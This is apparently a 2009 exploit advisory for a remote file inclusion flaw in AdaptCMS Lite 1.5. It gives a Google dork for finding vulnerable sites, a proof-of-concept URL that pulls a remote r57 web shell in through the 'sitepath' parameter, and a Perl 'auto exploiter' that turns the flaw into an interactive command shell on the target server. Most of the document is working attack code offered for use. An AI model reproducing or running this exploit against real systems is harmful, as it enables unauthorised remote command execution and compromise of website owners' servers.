AdaptCMS Lite 1.5 - Remote File Inclusion

     )   )            )                     (   (         (   (    (       )     )  
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /(  
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\()) 
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\  
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_) 
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ /  
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <   
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\  


[+] AdaptCMS Lite 1.5 Remote File Inclusion Vulnerability
[-] Author	: v3n0m
[-] Contact	: v3n0m666[at]live[dot]com
[-] Blog	: http://v3n0m.blogdetik.com/
[-] Group	: YOGYACARDERLINK
[-] Site	: http://yogyacarderlink.web.id/
[-] Date	: November, 26-2009 [INDONESIA]

[!] Application	: AdaptCMS Lite
[!] Vendor	: www.insanevisions.com
[!] Version	: 1.5 Other versions may also be affected
[!] Download	: http://sourceforge.net/projects/adaptcms/files/
[!] License	: Free
[!] Vulnerable	: Remote File Inclusion
[!] Google Dork	: Copyright 2006-2009 Insane Visions


[o] Description

AdaptCMS is a PHP CMS that is made for complete control of your website, 
easiness of use and easily adaptable to any type of website. 
It's made easy with advanced custom fields, 
a very simple but powerful template system and much more.


Vuln Code & PoC
***************
Vuln: include_once($sitepath."includes/rss/simplepie.inc");

PoC : http://server/plugins/rss_importer_functions.php?sitepath=http://localhost/r57.txt??


AdaptCMS Lite Auto Exploiter
****************************

#!/usr/bin/perl -w

##################################################################
# Created by v3n0m                                               #
# sHoutz: lingah,IdioT_InsidE,LeQhi,aRiee,z0mb13,m4rco,NaZmy,    #
#	  eidelweiss,JaLi-,Anak_Naga_,g0nz,mywisdom,setanmuda,   #
#	  yoga0400,ripper_maya,elv1n4,badkiddies,dhit_coxon,     #
#	  psychotic_girl,jo8928,r4f43l_world,angela zhang        #
#	  & All YOGYACARDERLINK Crew                             #
#                                                                #
# - register_globals = on                                        #
# - allow_url_include = on                                       #
# - allow_url_fopen = on                                         #
##################################################################
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
	print "|---------------------------------------------|\n";
	print "|       AdaptCMS Lite RFI Auto Injector       |\n";
	print "| Created  : v3n0m                            |\n";
	print "| E-mail   : v3n0m666[at]live[dot]com         |\n";
	print "|                                             |\n";
	print "|                                             |\n";
	print "|                  www.yogyacarderlink.web.id |\n";
	print "|---------------------------------------------|\n\n";
	print "Usage:\n";
	print " perl $0 -u \"http://target/[path]/\" -fuck \"http://localhost/r57.txt??\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help, 
  'u=s'            => \$u, 
  'fuck=s'            => \$fuck
  );

&banner unless ($u);
&banner unless ($fuck);

chomp($u);
chomp($fuck);

while (){

	print "[shell]:~\$ ";
	chomp($cmd=<STDIN>);

	if ($cmd eq "exit" || $cmd eq "quit") {
		exit 0;
	}

	my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $u . "/plugins/rss_importer_functions.php?sitepath=" . $fuck . $iny;
        chomp($own);
	my $req = HTTP::Request->new(GET => $own);
	my $res = $ua->request($req);
	my $con = $res->content;
	if ($res->is_success){
		print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
	}
           else
             {
                print "Exploiting failed !!\n";
                exit(1);
             }
}